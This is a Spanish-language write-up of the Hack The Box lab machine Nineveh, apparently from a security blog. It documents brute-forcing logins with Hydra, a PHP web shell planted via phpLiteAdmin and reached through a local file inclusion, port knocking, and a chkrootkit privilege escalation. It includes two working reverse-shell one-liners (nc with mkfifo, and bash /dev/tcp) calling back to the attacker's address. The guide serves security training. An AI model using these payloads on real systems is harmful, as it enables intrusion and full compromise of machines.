Hack The Box: Nineveh (Linux, Media)

Resumen

En esta entrada resolvemos la máquina Nineveh de Hack The Box. Máquina Linux de dificultad media donde explotaremos una vulnerabilidad en PHPLiteAdmin para acceder al sistema. Posteriormente, utilziaremos una tarea programada para poder elevar privilegios en el sistema.

Enumeración

Enumeración de puertos

nmap -p- --open -Pn -n --min-rate 500  10.10.10.43
nmap -p80,443 -sVC -Pn -n 10.10.10.43

Dos servicios abiertos

  • Puerto 80 -> HTTP -> Apache httpd 2.4.18
  • Puerto 443 -> HTTPS -> Apache httpd 2.4.18

Enumeración Web

El objetivo está ejecutando dos servicios Web en los puertos 80 y 443. Vamos a comenzar enumerando su contenido.

El siguiente paso será la enumeración de directorios y archivos disponibles en cada uno de los sitios Web. Para ello, utilizaremos la herramienta “dirsearch”

dirsearch -u http://10.10.10.43 -i 200,301,401 -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
dirsearch -u https://10.10.10.43 -i 200,301,401 -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

Descubrimos dos carpetas importantes: /db y /secure_notes. El directorio /db contiene una copia de phpLiteAdmin v1.9 y /secure_notes solo incluye una única imagen. Al ejecutar Dirsearch en el puerto 80, se revela otro directorio, /department, que contiene una página de inicio de sesión.

Explotación

Vulnerabilidad 1: LFI

Revisemos el formulario que encontramos en /department.

Parece que el formulario diferencia entre nombre de usuario erróneo y contraseña errónea.

Podemos tratar de realizar un pequeño ataque de fuerza bruta para determinar la contraseña del usuario “admin” que parece válido.

hydra -l admin -P /home/kali/SecLists/Passwords/xato-net-10-million-passwords-10000.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64

Encontramos las credenciales admin: 1q2w3e4r5t
Las credenciales son válidas.

Podemos acceder al Panel de Control del sitio Web con usuario admin. Vamos a revisar el sitio Web en búsqueda de vectores vulnerables.

Vemos la URL y la forma en que se cargan los archivos. Vamos a comprobar si es vulnerable a LFI.

¿¿??

Parece que existe un error en la gestión de la carga de archivos en el sitio Web. Sigamos probando

Pero si modificamos la URL, vemos que podemos acceder al archivo /etc/passwd

Vulnerabilidad 2: RCE

Visitamos la URL: https://10.10.10.43/db/

Encontramos el formulario de inicio de sesión en el gestor de bases de datos phpLiteAdmin. Tenemos una versión y también vamos a realizar un ataque de fuerza bruta para tratar de encontrar la contraseña.

Descargarmos el exploit y vemos como ejecutarlo.

Y por otro lado, hemos encontrado la contraseña del gestor de bases de datos.

hydra -l admin -P /home/kali/SecLists/Passwords/xato-net-10-million-passwords-10000.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&login=Log+In&proc_login=true:Incorrect" -t 64 

Vamos a acceder con la credencial obtenida.

Vamos a tratar de ejecutar el exploit que hemos encontrado anteriormente.
El primer paso será la creación de una nueva base de datos.

Posteriormente, creamos una nueva tabla llamada “hack”.

Y añadimos el siguiente contenido.

<?php echo system($_REQUEST["cmd"]); ?>

Ahora vamos a ver donde se ha almacenado la nueva base de datos generada.

Para acceder a este archivo, vamos a aprovechar la vulnerabilidad de LFI que encontramos anteriormente.

Sabiendo esto, vamos a tratar de explotar una vulnerabilidad de RCE. Vamos a crear una reverse shell para ejecutarla utilizando la inyección de comandos que hemos creado.

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2%3E%261|nc+10.10.16.4+1234+%3E/tmp/f

Y por otro lado, configuramos un oyente nc en el puerto 1234.

El siguiente paso será la búsqueda de la flag user.txt

Pero no tenemos suficientes privilegios para abrir el archivo.

Pivotando de www-data a amrois

Vamos a utilizar la herramienta LinEnum para tratar de enumerar los posibles vectores de elevación de privilegios.
Lo enviamos a la máquina objetivo utilizando un servidor HTTP Python.

Encontramos el siguiente archivo de configuración que puede ser interesante, knockd.conf. Veamos su contenido.

Encontramos la secuencia de puertos necesaria para abrir el puerto 22 (SSH). ¿Cómo vamos a utilizar esto? De la siguiente manera:

knock 10.10.10.43 571 290 911

Posteriormente, volveremos a realizar una enumeración de puertos similar a la iniciar.

nmap -p- --open -Pn -n --min-rate 500  10.10.10.43

Vemos que ahora el puerto 22 está disponible, sin embargo, en la enumeración de puertos iniciar solo aparecían abiertos los puertos 80 y 443. Vamos a tratar de conectarnos a la máquina objetivo a través de SSH con el usuario que encontrábamos anteriormente “amrois”.

Después de enumerar múltiples directorios, recordamos la imagen que encontramos en el directorio /secure_notes del sitio Web ejecutado en el puerto 443. Si buscamos esa imagen en el servidor, podemos ver el gran peso lógico de la imagen.

Vamos a descargarla para ver que información podemos encontrar en ella. Si ejecutamos el comando strings sobre la imagen descargada, vemos lo siguiente:

Una clave privada RSA. Vamos a tratar de conectarnos al objetivo utilizando esta clave privada.

Ahora volvemos a buscar la flag user.txt

Elevación de privilegios

Una vez tenemos acceso al sistema con el usuario “amrois”, vamos a tratar de buscar posibles vectores de elevación de privilegios. Vamos a volver a ejecutar LinEnum para tratar de enumerar los posibles vectores de elevación de privilegios existentes.

Tras un momento, encontramos el siguiente archivo interesante. Veamos su contenido.

Encontramos otro directorio que vamos a enumerar.

Buscando en Google el contenido del archivo encontrado, vemos lo siguiente:

Este archivo está generado por “chkrootkit”. Sabiendo esto, vamos a buscar posibles vectores de elevación de privilegios.

Siguiendo las indicaciones del exploit descargado, creamos un archivo /tmp/update con el siguiente contenido:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.4/1443 0>&1

Posteriormente, damos permisos de ejecución con chmod +x /tmp/update y por otro lado, en nuestra máquina de ataque configuramos un oyente en el puerto 1443. A partir de este momento, solo deberemos esperar a la ejecución del archivo creado y a recibir la comunicación con el objetivo con privilegios root.

Y, ya recibiremos comunicación en nuestra máquina de ataque desde el objetivo con privilegios root.

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *